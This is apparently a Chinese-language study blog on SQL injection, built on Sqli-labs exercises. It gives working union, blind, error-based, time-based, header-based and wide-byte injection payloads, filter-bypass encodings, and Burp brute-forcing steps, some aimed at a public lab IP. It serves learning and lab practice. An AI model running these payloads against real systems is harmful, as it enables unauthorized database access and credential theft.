如有侵权,请联系删除
Sql注入基础
information_schema
在MySOL 5.0之后,就多出了这个information_schema
的数据库,该数据库中存有整个数据库的信息
在该数据库中需要着重关注三个表:SCHEMATA
,TABLES
,COLUMNS
SCHEMATA: 储存着所有数据库的库名
需要关注该表中的一个字段SCHEMA_NAME
SCHEMA_NAME
字段的内容就是所有数据库的库名,因为想要查询整个数据的库名,查看这个字段的全部内容即可,因此命令为:
select schema_name from information_schema.schemata
含义就是查看infomation_schema
数据库下的schemata
表的shema_name
。结果就是全部数据库的名称
TABLES:储存着所有表名
需要关注该表中的两个字段:TABLES_SCHEMA
,TABLE_NAME
TABLE_SCHEMA
字段的内容是当前要查询的数据库的名称
TABLE_NAME
字段的内容是当前数据库的所有表名
这两个字段需要对应使用,通过table_schema来确定要查询的数据库,通过table_name来确定数据库中所有的表名。二者的关系大概就像下边这样:
TABLE_SCHEMA | TABLE_NAME |
---|---|
user | username |
user | password |
user | … |
security | table1 |
security | table2 |
security | … |
所以想要查询一个数据库中的全部表名,需要确认数据库,并查询table_name即可,因此命令为:
select table_name from information_schema.tables where table_schema='security'
含义就是查看security
库中所有表名
COLUMNS:储存着所有字段名
需要关注该表中的三个字段:TABLE_SCHEMA
,TABLE_NAME
,``COLUMNS_NAME`
TABLE_SCHEMA
字段保存的依然是数据库
TABLE_NAME
字段保存的依然是表名,这两个和上边的TABLES库类似
COLUMNS_NAME
字段保存的是某一个表下,所有的列命。具体结构可以参考上边那张表格自己思考
所以想要查询所有字段名,需要确定表名,查询columns_name即可,因此命令为:
select column_name from information_schema.columns where table_name='users'
含义就是查看users
表的所有列名
查询字段的具体内容
既然根据information_schema
可以知道整个数据库的结构,知道想查询的具体字段,但是怎么获取字段的内容呢
比如我们知道,在security
数据库下有users
表,表中有两个字段username
和password
,我们想知道这俩个字段的值,可以使用:
select password from security.users
select username from security.users
MySQL查询语句
那么上边那个select、where到底是什么意思呢?
这些都是sql的查询语句,数据库操作包括增删改查,今天简单介绍一下查。
- 不知道任何条件时
select 要查询的字段名 from 库名.表名
- 知道一个条件时
select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'
这里的where就相当于一个限定条件,从一大堆搜索结果挑选出你限定了条件的那一种
- 知道多个条件时
select 要查询的字段名 from 库名.表名 where 已知条件1的字段名='已知条件1的值' and 已知条件2的字段名='已知条件2的值'
limit的用法
limit是用来限制输出结果的长度的函数,limit的格式为limit m,n
,其中m表示记录开始的位置,从0开始;n表示取n条记录
比如limit 0,1
指的是打印第一条数据,limit 1,1
指的是打印第二条数据
再比如limit 0,2
指的是打印前两条数据
这一块了解过java之类的编程语言应该理解起来更方便些…
然后就是我看那些payload的时候发现,limit
通常是放在查询语句的句尾,就像这样
select column_name from information_schema.columns where table_name='users' limit 0,1
另外,这里可以使用burp的爆破功能,对limit的第一个参数进行爆破,这样就可以打印出每条数据
就以Sqli-labs Less-1为例,我去尝试爆破一下
payload为:
-1%27%20union%20select%201,(select%20username%20from%20security.users%20limit%200,1),(select%20password%20from%20security.users%20limit%200,1)--+
发送到intruder模块,并将limit第一个参数添加标记
手动Add几个数字(1,2,3,4,5),并改为攻城锤模式,开始攻击
成功得到账户密码
响应报文为:
HTTP/1.1 200 OK
Date: Sat, 11 Apr 2020 08:10:45 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.13
Vary: Accept-Encoding
Content-Length: 731
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<font size='5' color= '#99FF00'>Your Login name:Angelina<br>Your Password:I-kill-you</font></font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
substr
和limit大同小异,接收三个参数,格式为subsre(database(),1,1)
第一个参数是需要截取的字符串
第二个参数是开始截取的位置,从1
开始,这里和limit不同
第三个参数是截取几位
除了开始截取的位置不同,其余均和limit类似
因为我也是个渣渣,编程课都去划水了,我大概猜测一下这两个函数开始截取位置为什么不同
因为limit更像是对数组进行操作,数组下标从0开始
而substr是对字符串进行操作,大概是因为字符串没有下标这一说,所以就是从1开始
没记错的话,java里的相关内容就是这么回事
然后这个的payload为:
‘ and substr(database(),1,1)='t'--+
但是在具体实战中,需要用到字符串截取操作的时候,一般不用字符串进行直接比较。
在MySQL中,可以ASCII码进行比较,字符转换成ASCII码
的函数为ord()
。
payload为:
` and ord(substr(database(),1,1))=115--+
另外,根据subsre函数的特性,依然可以使用burp进行爆破
需要记住的几个函数
batabase()
:当前数据库(注意英语这一块,data是数据,date是日期)
version()
:MySQL版本
user()
:当前用户
注释方式
#
--
/* */
以及他们的各种编码结果
常见注入方式
Union select联合查询漏洞
应用与页面有回显位的情况
这个真的太**了,基本sql注入入门的时候就是这个。
我腻了,书上写的我不知道操作过多少遍
Boolen注入
应用于没有回显,不显示报错信息,但是页面会有变化的情况
布尔盲注之前一直没怎么好好看过(菜是原罪菜是原罪),以为时间盲注就好了嘛,老子干嘛要那么麻烦。
时间盲注也不需要看页面返回的情况,好用的一批;如果返回页面会变化,那我就用报错注入了呀。
要这个布尔盲注干嘛…
结果,这本书给我正经八百上了一课,话不多说,上代码审计:
<?php
$con=mysqli_connect("localhost","root","12345","test");
if (mysqli_connect_error())
{
echo "ERROR"".mysqli_connect.error();
}
$id = $_GET['id'];
if (preg_match("/union|sleep|benchmark/i",$id))
{
exit("no");
}
# 下面我就不写了
?>
这里对一些关键字进行了过滤,一旦检验到id
中有union|sleep|benchmark
中的任意一个,就会直接打印no
并退出
假如此时我们明知道一个站,他的id
确确实实存在sql注入。
但是他又没有回显,没法union查询注入;没有报错信息,没法报错注入;使用sleep有会被过滤。
但这个页面是会变化的,那么这个时候,就可以采用布尔盲注。
具体注入流程
以Sqli-labs Less-8为例
1
1’
1‘ --+
至此,基本可以判断id这里存在注入漏洞,并且闭合方式为单引号
然后测试当前数据库长度
1' and length(database())>=1--+
然后甩到burp里进行爆破
长度>=8的时候,返回You are in…
长度>=9的时候,返回空
所以,当前数据库的长度是8
因为我们知道是Sqli-labs的数据库都是小写字母,所以直接测试小写字母了,方便一点。而a-z
的ASCII码为97-122
1' and ord(substr(database(),1,1))=97--+
我们可以去burp跑一下,可以使用狙击手模式,我们手动对substr(database(),1,1)
的第二个参数进行改变,而将转换后的ASCII码
添加标记,进行爆破
ascii码为115,也就是’s’,就是当前数据库的第一个字母
将substr(database(),1,1)
改为substr(database(),2,1)
,用此方法进行数据库每个字母的爆破
报错注入
报错注入应用于没有回显,但是会显示报错信息的情况
这个注入,我发现雷神公测
这个公众号最近在出报错注入原理系列
。而我对这个代码执行的原理真的不太懂,这里只记录payload。
我会在这里更新雷神公测的文章:
报错注入原理分析之 floor()
报错注入一共可以使用三个函数:floor()
,extractvalue()
,updatexml()
Payload:(只需将select version()换成想要查询的语句即可)
' or (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))) --+
' or (select extractvalue(1,concat(0x7e,(select version()),0x7e)))--+
' or (select updatexml(1,concat(0x7e,(select version()),0x7e),1))--+
示例:
时间盲注
时间盲注应用于没有回显,且没有报错信息,页面正常显示的情况
但是注意,假如一个登录页面,你输入错误的密码,页面显示你密码错误,这个不叫显示报错,这个属于页面显示正常
时间盲注和布尔盲注很像。只不过就是布尔盲注是通过看页面变化来判断对错,时间盲注是靠页面响应的时间。
这里就要使用if(expr1,expr2,expr3)
语句和sleep()
函数结合,进行判断
if()
语句接收3个参数,有点类似于编程中的条件运算符似的,第一个参数是判断条件,如果条件为真,返回第二个值,为假就返回第三个。
所以可以得到最基本的时间盲注的判断语句:
if(1=1,sleep(5),1)
判断一个站是否存在时间盲注漏洞,就用上边这条语句,如果响应时间是5秒,则证明存在。
以Sqli-labs Less-9为例
id=1' and if(1=1,sleep(5),1)--+
执行该payload,页面将会延迟5秒响应,证明存在时间盲注
然后判断方式就和布尔盲注那一块差不多了,比如用substr()看看当前数据库之类的,这里就不演示了。
堆叠查询注入
应用场景不详
可以去这个靶场体验一下:2019网强杯
这个注入存在两个字段,并且有回显,当然想到使用联合查询注入,结果
基本能想到的全被过滤了,联合查询,insert,update,delete,连where都被过滤了。
这种情况可以考虑堆叠注入。
堆叠查询可以执行多条语句,语句之间使用分号隔开。
我做了一个测试,正常的payload应该像这个图片里那样,正常显示了
如果把select换成show,页面就会报错了
然后我查了他俩的区别,他俩的效果是差不多的,但是就是show不能放在查询语句里。单独成一句话是可以的。
大概就是,id=1 and select database();
可以执行;id=1 and show database();
就不行,但是show database();
就可以。
大概就是这种感觉吧。
所以像上边那个靶场那样的,我们就可以使用多条语句进行查询,然后不就可以做到不使用select依然可以打印信息了嘛。
具体操作参考:2019网强杯_堆叠查询注入解析
二次注入
应用于一个地方没有sql注入漏洞,但是和它有关的另一个页面有sql注入漏洞的情况
比如有一个注册页面,做了很好的过滤,不存在注入漏洞;但是有一个页面可以通过id值查看用户信息。
这就是比较典型的二次注入模型,先来分析一下源码:
用户注册页面:
# 假设需要提交用户名和密码
# 主要逻辑代码为
<?php
# 获取username和password,并赋值
$username = $_GET['username'];
$password = $_GET['password'];
# 因为是注册页面,所以使用insert将数据插入数据库,但是username应用了转义字符,password使用了md5哈希。因为不存在sql注入
$result = mysqli_query($con,"insert into users('username','password') values('".addslashes($username)."','".md5($password)."')");
?>
查询用户信息界面:
# 该逻辑为,通过id获取username,然后通过username查询对应的数据
<?php
$id intval($_GET['id']);
$result= mysqli_query($con,"select* from users where id="$id);row= mysqli_fetch_array($result);
$username =$row['username'];
$result2 = mysqli_query($con,"select from person where "username'='".$username."');
?>
因为这里并没有对username进行处理,直接拼接语句进行查询,所以我们可们进行利用。
具体思路就是:
- 注册用户时提交
userame
为test'
- 然后去访问用户信息,查看页面是否正常,由此判断查询信息页面是否存在注入漏洞。我们假设存在
- 然后重新注册,此时注册的用户信息就要看页面具体的回显来判断注册的username是什么了。我们假设根据第二步的回显发现可以尝试联合查询注入,所以我们这次的注册信息将变为
username=test' order 3
- 再次查询用户信息,观察页面变化来判断字段数。
- 然后进行爆库之类的一系列操作
还有一种利用方式,就是Sqli-labs Less-24,这个的思路就是将管理员账户的密码改掉。但是具体原理都是一样的:总有一个地方防护做的不好,数据库中已有的信息就不进行过滤,直接带入查询
教程看下这个,写的很好:Sqli-labs Less-24教程
宽字节注入
应用于单引号被转义,且数据库为GBK编码的情况
其实目的很简单,就是使转义字符无效,这样就可以造成单引号不闭合。但是原理我居然听到了两种原理:
- 宽字节指的是2个字节,两个字节显示的时候就会占两个位置。而
%df
经过url编码后是那个数学里常用的ß
,这个是2字节的字符,在显示的时候会将转义符占掉,从而使转义符无效。 %df
和转义符\
的url编码结果%5c
结合变成%df%5c
,而这个结果在GBK编码中,这好是一个繁体字,这样使得单引号无法被转义。并且有的博主明确表示,不一定使用%df,只要是包含%5c的GBK编码字都是可以的
既然sql注入是对后台数据库的一种侮辱,那么肯定挨不着url编码的事儿啊,原理1显然经不起推敲。我也不知道我在接收的这垃圾知识。而且书上都是写的原理2,那么就按原理2来理解吧,开始实战
实验场景:Sqli-labs Less-32
- 先测试一下
http://43.247.91.228:84/Less-32/?id=1%27
页面显示正常
- 假装没看见提示,不知道这是宽字节注入,然后我们试一下,有没有可能是宽字节注入呢[疑问]
http://43.247.91.228:84/Less-32/?id=1%df%27
YES!报错了,证明单引号没有被转义,成功造成了单引号不闭合
- 再验证一下
43.247.91.228:84/Less-32/?id=1%df%27--+
ok,页面正常了,证明存在注入点,且页面有回显,使用联合查询注入就可以
本部分主要参考文章:宽字节注入原理分析。不仅写的好,而且还…
我先喝口营养快线,你们先自习!
cookie注入
因为我实战经验很少,所以这个我也不太知道如何判断是否有cookie注入漏洞,不过按之前学长说的,可能就是把你知道的全都试一下,没什么明显的特征。
当你burp抓包的时候发现cookie中有传过去的参数,那么这个就是cookie注入了
同类别的请求头注入都是一个原理,还有User-Augnet
,只要是和数据库有交互的首部字段,没有一个是无辜的。
而后台的逻辑也很简单,从cookie中获取参数的值,而不是直接GET接收,获取到参数的值之后,就又开始之前的逻辑(实战中肯定会有各种绕过)。
以Sqli-labs Less-20为例
我们直接burp抓包,发现cookie中有uname
的信息,想到就是cookie注入
我们直接甩到Reteaper
模块下,这样方便些
修改uname=admin'
,发现返回信息中提示错误,想到可以使用报错注入
随便查一下当前数据库试试
'or updatexml(1,concat(0x7e,(database()),0x7e),1) or'
User-Agent注入
同cookie注入,就是和数据库交互的头部变成了User-Agent
这个头部就是用户的一些客户端信息,我们除了在burp中进行更改来绕狗,还可以进行sql注入,前提是这个和数据库有交互
比如有一个头部是这样的
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101
我们的payload是这样的
’ or updatexml(1,concat(0x7e,(database()),0x7e),1) or‘
所以我们只需要把payload加在最后面就可以了
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101’ or updatexml(1,concat(0x7e,(database()),0x7e),1) or‘
XFF注入
同cookie注入,就是和数据库交互的头部变成了X-Forwarded-for
这个头部字段是一个ip地址,简单举个例子
X-Forwarded-for:127.0.0.1
我们的payload为(假设使用报错注入)
’ or updatexml(1,concat(0x7e,(database()),0x7e),1) or‘
所以我们只需要把payload加在那个ip后边即可
X-Forwarded-for:127.0.0.1’ or updatexml(1,concat(0x7e,(database()),0x7e),1) or‘
base64注入
在请求数据中可以明显看到数据是经过base64编码的
判断是否为base64编码的方法:(简化版)
看是否是由大小写字母和数字组成的一堆乱码
后台的逻辑就是获取数据之后先调用函数进行base64解码
所以我们的注入思路就是,先把数据base64解码,然后写入payload,然后再base64编码,再发送数据
Sql注入绕过技术
大小写绕过
比如说当and 1=1
被过滤的时候(被过滤就是指一个函数,把and、select之类的换成空,那种),就试一下换成大写And
(任意大写都可以:AND、aNd)。
这些大写传到数据库进行查询操作的时候,都是可以有效查询的
双写绕过
还是上边说的那种情况,将and
换成空,那么我们在够在payload的时候,可以这样
?id=1 aandnd 1=1--+
然后and
被替换成空,就变成了
?id=1 and 1=1--+
然后这条语句被传进了数据库进行查询
二次编码绕过
将and进行两次url全编码,然后进行注入测试
这个的原理大概就是,客户端(浏览器)会对要传输的数据进行编码,服务器中间件、php自身、开发者写的解码函数都会对数据进行解码。当那几个解码的东西配合不充分,就会造成解码多多少少有点混乱。于是攻击者可利用此特性,进行二次编码绕过
比如本来payload为
?id=1 and 1=1
现在为
?id=1 %25%36%31%25%36%65%25%36%34 1=1
在比如,如果有后台对单引号进行了转义,那么可以利用二次编码的特性,将\
干掉
比如
?id=1'
在后台被过滤
?id=1\'
因为%
经过url编码后为%25
,所以我们在最开始的payload就是这样
?id=1%2527
这样的话,如果存在二次编码注入(记得吗,就是那个后台解码很混乱的漏洞),那么他就会乱解码,最后总会把payload解码变成
?id=1'
内联注释绕过
这个原理真的不太清楚
但是这二者的效果是一样的
43.247.91.228:84/Less-1/?id=1' /*!and*/ 1=1--+
43.247.91.228:84/Less-1/?id=1' and 1=1--+
就是说,and
被注释了,但是却依然在起作用,而且还可以绕过。我傻了,这里对原理暂且不做深究
这里对原理还真特么可以做深究,因为
MySql中,/* */
是注释符,但是加了!,/*! */
,那么后边的内容将会被执行!